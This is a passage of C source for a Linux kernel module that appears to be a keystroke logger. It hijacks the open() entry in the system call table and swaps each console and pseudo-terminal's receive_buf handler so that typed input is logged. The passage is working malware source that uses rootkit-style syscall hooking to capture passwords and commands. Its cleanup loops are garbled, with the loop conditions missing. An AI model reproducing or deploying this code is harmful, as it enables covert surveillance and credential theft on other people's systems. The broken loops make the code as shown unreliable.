(*old_receive_buf)(tty, cp, fp, count);
}


static inline void init_tty(struct tty_struct *tty, int tty_index)
{
struct tlogger *tmp;

DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));

if (ttys[tty_index] == NULL) {
tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
if (!tmp) {
DPRINT("kmalloc failed!\n");
return;
}
memset(tmp, 0, sizeof(struct tlogger));
tmp->tty = tty;
tty->ldisc.receive_buf = new_receive_buf;
ttys[tty_index] = tmp;
} else {
tmp = ttys[tty_index];
logging(tty, tmp, 1);
resetbuf(tmp);
tty->ldisc.receive_buf = new_receive_buf;
}
}


asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
int ret;
static int fl = 0;
struct file * file;

ret = (*original_sys_open)(filename, flags, mode);

if (ret >= 0) {
struct tty_struct * tty;

BEGIN_KMEM
lock_kernel();
file = fget(ret);
tty = file->private_data;

if (tty != NULL &&
((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE &&
TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
(tty->driver.type == TTY_DRIVER_TYPE_PTY &&
tty->driver.subtype == PTY_TYPE_SLAVE &&
TTY_NUMBER(tty) < MAX_PTS_CON)) &&
tty->ldisc.receive_buf != NULL &&
tty->ldisc.receive_buf != new_receive_buf) {

if (!fl) {
old_receive_buf = tty->ldisc.receive_buf;
fl = 1;
}
init_tty(tty, TTY_INDEX(tty));
}
fput(file);
unlock_kernel();
END_KMEM
}
return ret;
}


int init_module(void)
{

DPRINT(MVERSION);
#ifndef LOCAL_ONLY
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;
#endif
my_tty_open();
// MOD_INC_USE_COUNT;

return 0;
}

DECLARE_WAIT_QUEUE_HEAD(wq);

void cleanup_module(void)
{
int i;

#ifndef LOCAL_ONLY
sys_call_table[__NR_open] = original_sys_open;
#endif

for (i=0; i if (ttys[i] != NULL) {
ttys[i]->tty->ldisc.receive_buf = old_receive_buf;
}
}
sleep_on_timeout(&wq, HZ);
for (i=0; i if (ttys[i] != NULL) {
kfree(ttys[i]);
}
}
DPRINT("Unloaded\n");
}

EXPORT_NO_SYMBOLS;